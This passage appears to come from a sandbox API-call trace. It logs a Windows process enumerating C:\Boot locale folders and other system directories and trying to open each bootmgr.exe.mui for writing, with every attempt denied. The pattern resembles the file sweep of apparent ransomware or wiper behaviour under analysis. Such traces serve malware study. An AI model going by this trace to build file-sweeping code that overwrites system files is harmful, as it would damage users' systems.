Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.683] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.683] GetLastError () returned 0x5 [0146.683] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.683] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.683] GetProcessHeap () returned 0x2ef0000 [0146.683] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.683] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0146.683] GetProcessHeap () returned 0x2ef0000 [0146.683] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.683] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.683] GetProcessHeap () returned 0x2ef0000 [0146.683] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.683] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.684] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.684] GetProcessHeap () returned 0x2ef0000 [0146.684] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.684] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.685] GetLastError () returned 0x5 [0146.685] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.685] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.685] GetProcessHeap () returned 0x2ef0000 [0146.685] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.685] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0146.685] GetProcessHeap () returned 0x2ef0000 [0146.685] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.685] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.685] GetProcessHeap () returned 0x2ef0000 [0146.685] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.685] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.685] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.685] GetProcessHeap () returned 0x2ef0000 [0146.685] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.686] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.686] GetLastError () returned 0x5 [0146.686] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.686] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.686] GetProcessHeap () returned 0x2ef0000 [0146.686] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.686] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0146.686] GetProcessHeap () returned 0x2ef0000 [0146.686] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.686] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.686] GetProcessHeap () returned 0x2ef0000 [0146.686] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.687] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.687] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.687] GetProcessHeap () returned 0x2ef0000 [0146.687] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.687] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.687] GetLastError () returned 0x5 [0146.687] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.688] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.688] GetProcessHeap () returned 0x2ef0000 [0146.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.688] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0146.688] GetProcessHeap () returned 0x2ef0000 [0146.688] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.688] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.688] GetProcessHeap () returned 0x2ef0000 [0146.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.688] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.688] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.688] GetProcessHeap () returned 0x2ef0000 [0146.688] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.688] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.689] GetLastError () returned 0x5 [0146.689] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.689] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.689] GetProcessHeap () returned 0x2ef0000 [0146.689] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.689] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0146.689] GetProcessHeap () returned 0x2ef0000 [0146.689] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.689] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.689] GetProcessHeap () returned 0x2ef0000 [0146.689] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.689] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.689] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.689] GetProcessHeap () returned 0x2ef0000 [0146.689] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.689] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.690] GetLastError () returned 0x5 [0146.690] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.690] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.690] GetProcessHeap () returned 0x2ef0000 [0146.690] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.690] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0146.690] FindClose (in: hFindFile=0x2f14a78 | out: hFindFile=0x2f14a78) returned 1 [0146.690] GetProcessHeap () returned 0x2ef0000 [0146.690] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16758 | out: hHeap=0x2ef0000) returned 1 [0146.690] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0146.690] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0xffff, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0146.690] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0146.690] GetProcessHeap () returned 0x2ef0000 [0146.690] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.690] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2f14a78 [0146.691] GetProcessHeap () returned 0x2ef0000 [0146.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.691] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0146.691] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0146.691] FindClose (in: hFindFile=0x2f14a78 | out: hFindFile=0x2f14a78) returned 1 [0146.691] GetProcessHeap () returned 0x2ef0000 [0146.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2ef0000) returned 1 [0146.691] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0146.691] GetProcessHeap () returned 0x2ef0000 [0146.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x44) returned 0x2f14a78 [0146.691] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, 